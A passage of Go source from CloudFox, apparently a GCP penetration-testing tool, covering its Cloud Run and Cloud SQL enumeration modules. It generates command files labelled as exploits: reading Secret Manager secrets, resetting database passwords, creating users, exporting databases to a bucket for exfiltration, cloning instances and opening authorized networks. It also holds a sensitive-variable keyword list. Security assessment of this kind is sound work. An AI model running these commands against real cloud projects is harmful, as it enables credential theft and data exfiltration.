Contents: "# Cloud Run Secret Manager References\n# Generated by CloudFox\n# Use: gcloud secrets versions access VERSION --secret=SECRET_NAME --project=PROJECT\n\n",
}
}
m.mu.Unlock()
// Get services
services, err := cs.Services(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDRUN_MODULE_NAME,
fmt.Sprintf("Could not enumerate Cloud Run services in project %s", projectID))
} else {
m.mu.Lock()
m.ProjectServices[projectID] = services
for _, svc := range services {
m.addServiceToLoot(projectID, svc)
}
m.mu.Unlock()
}
// Get jobs
jobs, err := cs.Jobs(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDRUN_MODULE_NAME,
fmt.Sprintf("Could not enumerate Cloud Run jobs in project %s", projectID))
} else {
m.mu.Lock()
m.ProjectJobs[projectID] = jobs
for _, job := range jobs {
m.addJobToLoot(projectID, job)
}
m.mu.Unlock()
}
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d service(s), %d job(s) in project %s", len(services), len(jobs), projectID), globals.GCP_CLOUDRUN_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *CloudRunModule) addServiceToLoot(projectID string, svc CloudRunService.ServiceInfo) {
commandsLoot := m.LootMap[projectID]["cloudrun-commands"]
secretRefsLoot := m.LootMap[projectID]["cloudrun-secret-refs"]
if commandsLoot == nil {
return
}
// All commands for this service
commandsLoot.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# SERVICE: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Region: %s\n"+
"# Image: %s\n"+
"# Service Account: %s\n"+
"# Public: %v\n"+
"# URL: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Describe service:\n"+
"gcloud run services describe %s --region=%s --project=%s\n"+
"# Get IAM policy:\n"+
"gcloud run services get-iam-policy %s --region=%s --project=%s\n"+
"# List revisions:\n"+
"gcloud run revisions list --service=%s --region=%s --project=%s\n\n"+
"# === EXPLOIT COMMANDS ===\n\n"+
"# Invoke the service (if you have run.routes.invoke):\n"+
"curl -H \"Authorization: Bearer $(gcloud auth print-identity-token)\" %s\n\n",
svc.Name, svc.ProjectID, svc.Region,
svc.ContainerImage,
svc.ServiceAccount,
svc.IsPublic,
svc.URL,
svc.Name, svc.Region, svc.ProjectID,
svc.Name, svc.Region, svc.ProjectID,
svc.Name, svc.Region, svc.ProjectID,
svc.URL,
)
// Add secret references to loot
if len(svc.SecretRefs) > 0 && secretRefsLoot != nil {
secretRefsLoot.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# SERVICE: %s (Project: %s, Region: %s)\n"+
"# =============================================================================\n", svc.Name, svc.ProjectID, svc.Region)
for _, ref := range svc.SecretRefs {
if ref.Type == "env" {
secretRefsLoot.Contents += fmt.Sprintf(
"# Env var: %s\ngcloud secrets versions access %s --secret=%s --project=%s\n",
ref.EnvVarName, ref.SecretVersion, ref.SecretName, svc.ProjectID,
)
} else {
secretRefsLoot.Contents += fmt.Sprintf(
"# Volume mount: %s\ngcloud secrets versions access latest --secret=%s --project=%s\n",
ref.MountPath, ref.SecretName, svc.ProjectID,
)
}
}
secretRefsLoot.Contents += "\n"
}
}
func (m *CloudRunModule) addJobToLoot(projectID string, job CloudRunService.JobInfo) {
commandsLoot := m.LootMap[projectID]["cloudrun-commands"]
secretRefsLoot := m.LootMap[projectID]["cloudrun-secret-refs"]
if commandsLoot == nil {
return
}
// All commands for this job
commandsLoot.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# JOB: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Region: %s\n"+
"# Image: %s\n"+
"# Service Account: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Describe job:\n"+
"gcloud run jobs describe %s --region=%s --project=%s\n"+
"# List executions:\n"+
"gcloud run jobs executions list --job=%s --region=%s --project=%s\n\n"+
"# === EXPLOIT COMMANDS ===\n\n"+
"# Execute the job (if you have run.jobs.run):\n"+
"gcloud run jobs execute %s --region=%s --project=%s\n\n",
job.Name, job.ProjectID, job.Region,
job.ContainerImage,
job.ServiceAccount,
job.Name, job.Region, job.ProjectID,
job.Name, job.Region, job.ProjectID,
job.Name, job.Region, job.ProjectID,
)
// Add secret references to loot
if len(job.SecretRefs) > 0 && secretRefsLoot != nil {
secretRefsLoot.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# JOB: %s (Project: %s, Region: %s)\n"+
"# =============================================================================\n", job.Name, job.ProjectID, job.Region)
for _, ref := range job.SecretRefs {
if ref.Type == "env" {
secretRefsLoot.Contents += fmt.Sprintf(
"# Env var: %s\ngcloud secrets versions access %s --secret=%s --project=%s\n",
ref.EnvVarName, ref.SecretVersion, ref.SecretName, job.ProjectID,
)
} else {
secretRefsLoot.Contents += fmt.Sprintf(
"# Volume mount: %s\ngcloud secrets versions access latest --secret=%s --project=%s\n",
ref.MountPath, ref.SecretName, job.ProjectID,
)
}
}
secretRefsLoot.Contents += "\n"
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *CloudRunModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// writeHierarchicalOutput writes output to per-project directories
func (m *CloudRunModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
// Build hierarchical output data
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Collect all project IDs that have data
projectsWithData := make(map[string]bool)
for projectID := range m.ProjectServices {
projectsWithData[projectID] = true
}
for projectID := range m.ProjectJobs {
projectsWithData[projectID] = true
}
// Build project-level outputs
for projectID := range projectsWithData {
services := m.ProjectServices[projectID]
jobs := m.ProjectJobs[projectID]
tables := m.buildTablesForProject(projectID, services, jobs)
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !isCloudRunEmptyLoot(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = CloudRunOutput{Table: tables, Loot: lootFiles}
}
// Create path builder using the module's hierarchy
pathBuilder := m.BuildPathBuilder()
// Write using hierarchical output
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDRUN_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *CloudRunModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allServices := m.getAllServices()
allJobs := m.getAllJobs()
tables := m.buildTablesForProject("", allServices, allJobs)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !isCloudRunEmptyLoot(loot.Contents) {
lootFiles = append(lootFiles, *loot)
}
}
}
output := CloudRunOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDRUN_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// isCloudRunEmptyLoot checks if a loot file contains only the header
func isCloudRunEmptyLoot(contents string) bool {
return strings.HasSuffix(contents, "# WARNING: Only use with proper authorization\n\n") ||
strings.HasSuffix(contents, "# Use: gcloud secrets versions access VERSION --secret=SECRET_NAME --project=PROJECT\n\n")
}
// buildTablesForProject builds all tables for a given project's services and jobs
func (m *CloudRunModule) buildTablesForProject(projectID string, services []CloudRunService.ServiceInfo, jobs []CloudRunService.JobInfo) []internal.TableFile {
tableFiles := []internal.TableFile{}
// Services table
servicesHeader := []string{
"Project", "Type", "Name", "Region", "Status", "URL", "Ingress", "Public",
"Service Account", "SA Attack Paths", "Default SA", "Image", "VPC Access",
"Min/Max", "IAM Binding Role", "IAM Binding Principal",
}
var servicesBody [][]string
for _, svc := range services {
publicStatus := "No"
if svc.IsPublic {
publicStatus = "Yes"
}
defaultSA := "No"
if svc.UsesDefaultSA {
defaultSA = "Yes"
}
vpcAccess := "-"
if svc.VPCAccess != "" {
vpcAccess = extractName(svc.VPCAccess)
if svc.VPCEgressSettings != "" {
vpcAccess += fmt.Sprintf(" (%s)", strings.TrimPrefix(svc.VPCEgressSettings, "VPC_EGRESS_"))
}
}
scaling := fmt.Sprintf("%d/%d", svc.MinInstances, svc.MaxInstances)
status := svc.Status
if status == "" {
status = "-"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if svc.ServiceAccount != "" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, svc.ServiceAccount)
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
attackPaths = "No SA"
}
// If service has IAM bindings, create one row per binding
if len(svc.IAMBindings) > 0 {
for _, binding := range svc.IAMBindings {
servicesBody = append(servicesBody, []string{
m.GetProjectName(svc.ProjectID), "Service", svc.Name, svc.Region, status, svc.URL,
formatIngress(svc.IngressSettings), publicStatus, svc.ServiceAccount,
attackPaths, defaultSA, svc.ContainerImage, vpcAccess, scaling,
binding.Role, binding.Member,
})
}
} else {
// Service has no IAM bindings - single row
servicesBody = append(servicesBody, []string{
m.GetProjectName(svc.ProjectID), "Service", svc.Name, svc.Region, status, svc.URL,
formatIngress(svc.IngressSettings), publicStatus, svc.ServiceAccount,
attackPaths, defaultSA, svc.ContainerImage, vpcAccess, scaling,
"-", "-",
})
}
}
if len(servicesBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_CLOUDRUN_MODULE_NAME + "-services",
Header: servicesHeader,
Body: servicesBody,
})
}
// Jobs table
jobsHeader := []string{
"Project", "Type", "Name", "Region", "Status", "Service Account", "SA Attack Paths", "Default SA",
"Image", "VPC Access", "Tasks", "Parallelism", "Last Execution",
"IAM Binding Role", "IAM Binding Principal",
}
var jobsBody [][]string
for _, job := range jobs {
defaultSA := "No"
if job.UsesDefaultSA {
defaultSA = "Yes"
}
lastExec := "-"
if job.LastExecution != "" {
lastExec = extractName(job.LastExecution)
}
status := job.Status
if status == "" {
status = "-"
}
vpcAccess := "-"
if job.VPCAccess != "" {
vpcAccess = extractName(job.VPCAccess)
if job.VPCEgressSettings != "" {
vpcAccess += fmt.Sprintf(" (%s)", strings.TrimPrefix(job.VPCEgressSettings, "VPC_EGRESS_"))
}
}
// Check attack paths (privesc/exfil/lateral) for the service account
jobAttackPaths := "run foxmapper"
if job.ServiceAccount != "" {
jobAttackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, job.ServiceAccount)
} else if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
jobAttackPaths = "No SA"
}
// If job has IAM bindings, create one row per binding
if len(job.IAMBindings) > 0 {
for _, binding := range job.IAMBindings {
jobsBody = append(jobsBody, []string{
m.GetProjectName(job.ProjectID), "Job", job.Name, job.Region, status,
job.ServiceAccount, jobAttackPaths, defaultSA, job.ContainerImage, vpcAccess,
fmt.Sprintf("%d", job.TaskCount), fmt.Sprintf("%d", job.Parallelism),
lastExec, binding.Role, binding.Member,
})
}
} else {
// Job has no IAM bindings - single row
jobsBody = append(jobsBody, []string{
m.GetProjectName(job.ProjectID), "Job", job.Name, job.Region, status,
job.ServiceAccount, jobAttackPaths, defaultSA, job.ContainerImage, vpcAccess,
fmt.Sprintf("%d", job.TaskCount), fmt.Sprintf("%d", job.Parallelism),
lastExec, "-", "-",
})
}
}
if len(jobsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_CLOUDRUN_MODULE_NAME + "-jobs",
Header: jobsHeader,
Body: jobsBody,
})
}
// Secrets table (includes hardcoded secrets and environment variables)
secretsHeader := []string{
"Project", "Resource Type", "Name", "Region", "Env Var", "Value/Type", "Source", "Sensitive",
}
var secretsBody [][]string
// Add environment variables
for _, svc := range services {
for _, env := range svc.EnvVars {
sensitive := isSensitiveEnvVar(env.Name)
if env.Source == "direct" {
secretsBody = append(secretsBody, []string{
m.GetProjectName(svc.ProjectID), "Service",
svc.Name, svc.Region, env.Name, env.Value, "EnvVar", sensitive,
})
} else {
secretsBody = append(secretsBody, []string{
m.GetProjectName(svc.ProjectID), "Service",
svc.Name, svc.Region, env.Name, fmt.Sprintf("%s:%s", env.SecretName, env.SecretVersion), "SecretManager", sensitive,
})
}
}
}
for _, job := range jobs {
for _, env := range job.EnvVars {
sensitive := isSensitiveEnvVar(env.Name)
if env.Source == "direct" {
secretsBody = append(secretsBody, []string{
m.GetProjectName(job.ProjectID), "Job",
job.Name, job.Region, env.Name, env.Value, "EnvVar", sensitive,
})
} else {
secretsBody = append(secretsBody, []string{
m.GetProjectName(job.ProjectID), "Job",
job.Name, job.Region, env.Name, fmt.Sprintf("%s:%s", env.SecretName, env.SecretVersion), "SecretManager", sensitive,
})
}
}
}
if len(secretsBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: globals.GCP_CLOUDRUN_MODULE_NAME + "-secrets",
Header: secretsHeader,
Body: secretsBody,
})
}
return tableFiles
}
// Helper functions
// formatIngress formats ingress settings for display
func formatIngress(ingress string) string {
switch ingress {
case "INGRESS_TRAFFIC_ALL":
return "ALL (Public)"
case "INGRESS_TRAFFIC_INTERNAL_ONLY":
return "INTERNAL"
case "INGRESS_TRAFFIC_INTERNAL_LOAD_BALANCER":
return "INT+LB"
default:
return ingress
}
}
// extractName extracts just the name from a resource path
func extractName(fullName string) string {
parts := strings.Split(fullName, "/")
if len(parts) > 0 {
return parts[len(parts)-1]
}
return fullName
}
// sensitiveEnvVarPatterns contains patterns that indicate sensitive env vars
var sensitiveEnvVarPatterns = []string{
"PASSWORD", "PASSWD", "SECRET", "API_KEY", "APIKEY", "API-KEY",
"TOKEN", "ACCESS_TOKEN", "AUTH_TOKEN", "BEARER", "CREDENTIAL",
"PRIVATE_KEY", "PRIVATEKEY", "CONNECTION_STRING", "CONN_STR",
"DATABASE_URL", "DB_PASSWORD", "DB_PASS", "MYSQL_PASSWORD",
"POSTGRES_PASSWORD", "REDIS_PASSWORD", "MONGODB_URI",
"AWS_ACCESS_KEY", "AWS_SECRET", "AZURE_KEY", "GCP_KEY",
"ENCRYPTION_KEY", "SIGNING_KEY", "JWT_SECRET", "SESSION_SECRET",
"OAUTH", "CLIENT_SECRET",
}
// isSensitiveEnvVar checks if an environment variable name indicates sensitive data
func isSensitiveEnvVar(envName string) string {
envNameUpper := strings.ToUpper(envName)
for _, pattern := range sensitiveEnvVarPatterns {
if strings.Contains(envNameUpper, pattern) {
return "Yes"
}
}
return "No"
}
+563
View File
@@ -0,0 +1,563 @@
package commands
import (
"github.com/BishopFox/cloudfox/gcp/shared"
"context"
"fmt"
"strings"
"sync"
CloudSQLService "github.com/BishopFox/cloudfox/gcp/services/cloudsqlService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPCloudSQLCommand = &cobra.Command{
Use: globals.GCP_CLOUDSQL_MODULE_NAME,
Aliases: []string{"sql", "database", "db"},
Short: "Enumerate Cloud SQL instances with security analysis",
Long: `Enumerate Cloud SQL instances across projects with security-relevant details.
Features:
- Lists all Cloud SQL instances (MySQL, PostgreSQL, SQL Server)
- Shows network configuration (public/private IP, authorized networks)
- Identifies publicly accessible databases
- Shows SSL/TLS configuration and requirements
- Checks backup and high availability configuration
- Shows encryption type (Google-managed vs CMEK)
- Shows IAM database authentication status
- Shows password policy configuration
- Shows maintenance window settings
- Shows point-in-time recovery status
- Identifies common security misconfigurations
- Generates gcloud commands for further analysis
Security Columns:
- PublicIP: Whether the instance has a public IP address
- RequireSSL: Whether SSL/TLS is required for connections
- AuthNetworks: Number of authorized network ranges
- Backups: Automated backup status
- PITR: Point-in-time recovery status
- Encryption: CMEK or Google-managed
- IAM Auth: IAM database authentication
- PwdPolicy: Password validation policy
- HA: High availability configuration
- Issues: Detected security misconfigurations
Attack Surface:
- Public IPs expose database to internet scanning
- Missing SSL allows credential sniffing
- 0.0.0.0/0 in authorized networks = world accessible
- Default service accounts may have excessive permissions
- Google-managed encryption may not meet compliance
- Missing password policy allows weak passwords`,
Run: runGCPCloudSQLCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type CloudSQLModule struct {
gcpinternal.BaseGCPModule
// Module-specific fields - per-project for hierarchical output
ProjectInstances map[string][]CloudSQLService.SQLInstanceInfo // projectID -> instances
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type CloudSQLOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o CloudSQLOutput) TableFiles() []internal.TableFile { return o.Table }
func (o CloudSQLOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPCloudSQLCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDSQL_MODULE_NAME)
if err != nil {
return
}
module := &CloudSQLModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectInstances: make(map[string][]CloudSQLService.SQLInstanceInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *CloudSQLModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDSQL_MODULE_NAME, m.processProject)
// Get all instances for stats
allInstances := m.getAllInstances()
if len(allInstances) == 0 {
logger.InfoM("No Cloud SQL instances found", globals.GCP_CLOUDSQL_MODULE_NAME)
return
}
// Count public instances
publicCount := 0
for _, instance := range allInstances {
if instance.HasPublicIP {
publicCount++
}
}
if publicCount > 0 {
logger.SuccessM(fmt.Sprintf("Found %d instance(s), %d with public IP", len(allInstances), publicCount), globals.GCP_CLOUDSQL_MODULE_NAME)
} else {
logger.SuccessM(fmt.Sprintf("Found %d instance(s)", len(allInstances)), globals.GCP_CLOUDSQL_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// getAllInstances returns all instances from all projects (for statistics)
func (m *CloudSQLModule) getAllInstances() []CloudSQLService.SQLInstanceInfo {
var all []CloudSQLService.SQLInstanceInfo
for _, instances := range m.ProjectInstances {
all = append(all, instances...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *CloudSQLModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Cloud SQL instances in project: %s", projectID), globals.GCP_CLOUDSQL_MODULE_NAME)
}
cs := CloudSQLService.New()
instances, err := cs.Instances(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDSQL_MODULE_NAME,
fmt.Sprintf("Could not enumerate Cloud SQL in project %s", projectID))
return
}
// Thread-safe store per-project
m.mu.Lock()
m.ProjectInstances[projectID] = instances
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["cloudsql-commands"] = &internal.LootFile{
Name: "cloudsql-commands",
Contents: "# Cloud SQL Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, instance := range instances {
m.addInstanceToLoot(projectID, instance)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d instance(s) in project %s", len(instances), projectID), globals.GCP_CLOUDSQL_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *CloudSQLModule) addInstanceToLoot(projectID string, instance CloudSQLService.SQLInstanceInfo) {
lootFile := m.LootMap[projectID]["cloudsql-commands"]
if lootFile == nil {
return
}
dbType := getDatabaseType(instance.DatabaseVersion)
connectionInstance := fmt.Sprintf("%s:%s:%s", instance.ProjectID, instance.Region, instance.Name)
publicIP := instance.PublicIP
if publicIP == "" {
publicIP = "-"
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# CLOUD SQL: %s\n"+
"# =============================================================================\n"+
"# Project: %s, Region: %s\n"+
"# Version: %s\n"+
"# Public IP: %s\n",
instance.Name,
instance.ProjectID, instance.Region,
instance.DatabaseVersion,
publicIP,
)
// gcloud commands
lootFile.Contents += "# === ENUMERATION COMMANDS ===\n\n"
lootFile.Contents += fmt.Sprintf(
"gcloud sql instances describe %s --project=%s\n"+
"gcloud sql databases list --instance=%s --project=%s\n"+
"gcloud sql users list --instance=%s --project=%s\n",
instance.Name, instance.ProjectID,
instance.Name, instance.ProjectID,
instance.Name, instance.ProjectID,
)
// Connection commands based on database type
switch dbType {
case "mysql":
if instance.PublicIP != "" {
lootFile.Contents += fmt.Sprintf(
"mysql -h %s -u root -p\n",
instance.PublicIP,
)
}
lootFile.Contents += fmt.Sprintf(
"cloud_sql_proxy -instances=%s=tcp:3306\n",
connectionInstance,
)
case "postgres":
if instance.PublicIP != "" {
lootFile.Contents += fmt.Sprintf(
"psql -h %s -U postgres\n",
instance.PublicIP,
)
}
lootFile.Contents += fmt.Sprintf(
"cloud_sql_proxy -instances=%s=tcp:5432\n",
connectionInstance,
)
case "sqlserver":
if instance.PublicIP != "" {
lootFile.Contents += fmt.Sprintf(
"sqlcmd -S %s -U sqlserver\n",
instance.PublicIP,
)
}
lootFile.Contents += fmt.Sprintf(
"cloud_sql_proxy -instances=%s=tcp:1433\n",
connectionInstance,
)
}
// === EXPLOIT COMMANDS ===
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
// Password reset
lootFile.Contents += fmt.Sprintf(
"# Reset database user password (requires cloudsql.users.update):\n"+
"gcloud sql users set-password root --host=%% --instance=%s --project=%s --password=NEW_PASSWORD\n"+
"gcloud sql users set-password postgres --instance=%s --project=%s --password=NEW_PASSWORD\n\n",
instance.Name, instance.ProjectID,
instance.Name, instance.ProjectID,
)
// Create new user
lootFile.Contents += fmt.Sprintf(
"# Create a new database user (requires cloudsql.users.create):\n"+
"gcloud sql users create cloudfox_user --instance=%s --project=%s --password=GENERATED_PASSWORD\n\n",
instance.Name, instance.ProjectID,
)
// Backup exfiltration
lootFile.Contents += fmt.Sprintf(
"# List existing backups:\n"+
"gcloud sql backups list --instance=%s --project=%s\n\n"+
"# Create a new backup (for exfiltration):\n"+
"gcloud sql backups create --instance=%s --project=%s\n\n"+
"# Export database to GCS bucket (data exfiltration):\n"+
"gcloud sql export sql %s gs://BUCKET_NAME/export-%s.sql --database=DATABASE_NAME --project=%s\n"+
"gcloud sql export csv %s gs://BUCKET_NAME/export-%s.csv --database=DATABASE_NAME --query=\"SELECT * FROM TABLE_NAME\" --project=%s\n\n",
instance.Name, instance.ProjectID,
instance.Name, instance.ProjectID,
instance.Name, instance.Name, instance.ProjectID,
instance.Name, instance.Name, instance.ProjectID,
)
// Clone instance
lootFile.Contents += fmt.Sprintf(
"# Clone instance to attacker-controlled project (requires cloudsql.instances.clone):\n"+
"gcloud sql instances clone %s %s-clone --project=%s\n\n",
instance.Name, instance.Name, instance.ProjectID,
)
// IAM authentication exploitation
if instance.IAMAuthentication {
lootFile.Contents += fmt.Sprintf(
"# IAM database authentication is enabled - connect using SA token:\n"+
"gcloud sql generate-login-token | %s\n\n",
func() string {
switch dbType {
case "mysql":
return fmt.Sprintf("mysql -h %s -u SA_EMAIL --enable-cleartext-plugin --password=$(cat -)", connectionInstance)
case "postgres":
return fmt.Sprintf("PGPASSWORD=$(cat -) psql -h %s -U SA_EMAIL", connectionInstance)
default:
return "# Use the token as password for database connection"
}
}(),
)
}
// Authorized network manipulation
lootFile.Contents += fmt.Sprintf(
"# Add your IP to authorized networks (requires cloudsql.instances.update):\n"+
"gcloud sql instances patch %s --project=%s --authorized-networks=YOUR_IP/32\n\n",
instance.Name, instance.ProjectID,
)
// Surface security issues if any were detected
if len(instance.SecurityIssues) > 0 {
lootFile.Contents += "# Security Issues:\n"
for _, issue := range instance.SecurityIssues {
lootFile.Contents += fmt.Sprintf("# - %s\n", issue)
}
}
lootFile.Contents += "\n"
}
// getDatabaseType returns the database type from version string
func getDatabaseType(version string) string {
switch {
case strings.HasPrefix(version, "MYSQL"):
return "mysql"
case strings.HasPrefix(version, "POSTGRES"):
return "postgres"
case strings.HasPrefix(version, "SQLSERVER"):
return "sqlserver"
default:
return "unknown"
}
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *CloudSQLModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Decide between hierarchical and flat output
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
// writeHierarchicalOutput writes output to per-project directories
func (m *CloudSQLModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
header := m.getTableHeader()
// Build hierarchical output data
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Build project-level outputs
for projectID, instances := range m.ProjectInstances {
body := m.instancesToTableBody(instances)
tables := []internal.TableFile{{
Name: globals.GCP_CLOUDSQL_MODULE_NAME,
Header: header,
Body: body,
}}
// Collect loot for this project
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = CloudSQLOutput{Table: tables, Loot: lootFiles}
}
// Create path builder using the module's hierarchy
pathBuilder := m.BuildPathBuilder()
// Write using hierarchical output
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDSQL_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *CloudSQLModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
header := m.getTableHeader()
allInstances := m.getAllInstances()
body := m.instancesToTableBody(allInstances)
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
tableFiles := []internal.TableFile{{
Name: globals.GCP_CLOUDSQL_MODULE_NAME,
Header: header,
Body: body,
}}
output := CloudSQLOutput{
Table: tableFiles,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDSQL_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// getTableHeader returns the table header for Cloud SQL instances
func (m *CloudSQLModule) getTableHeader() []string {
return []string{
"Project Name",
"Project ID",
"Name",
"Region",
"Database",
"Tier",
"Public IP",
"Private IP",
"SSL",
"Backups",
"PITR",
"Encrypt",
"IAM Auth",
"PwdPolicy",
"HA",
"Auth Network",
"CIDR",
"Public Access",
}
}
// instancesToTableBody converts instances to table body rows
func (m *CloudSQLModule) instancesToTableBody(instances []CloudSQLService.SQLInstanceInfo) [][]string {
var body [][]string
for _, instance := range instances {
// Format encryption type
encryptionDisplay := instance.EncryptionType
if encryptionDisplay == "" || encryptionDisplay == "Google-managed" {
encryptionDisplay = "Google"
}
// Format public/private IPs
publicIP := instance.PublicIP
if publicIP == "" {
publicIP = "-"
}
privateIP := instance.PrivateIP
if privateIP == "" {
privateIP = "-"
}
// If instance has authorized networks, create one row per network
if len(instance.AuthorizedNetworks) > 0 {
for _, network := range instance.AuthorizedNetworks {
publicAccess := "No"
if network.IsPublic {
publicAccess = "YES - WORLD ACCESSIBLE"
}
networkName := network.Name
if networkName == "" {
networkName = "-"
}
body = append(body, []string{
m.GetProjectName(instance.ProjectID),
instance.ProjectID,
instance.Name,
instance.Region,
instance.DatabaseVersion,
instance.Tier,
publicIP,
privateIP,
shared.BoolToYesNo(instance.RequireSSL),
shared.BoolToYesNo(instance.BackupEnabled),
shared.BoolToYesNo(instance.PointInTimeRecovery),
encryptionDisplay,
shared.BoolToYesNo(instance.IAMAuthentication),
shared.BoolToYesNo(instance.PasswordPolicyEnabled),
instance.AvailabilityType,
networkName,
network.Value,
publicAccess,
})
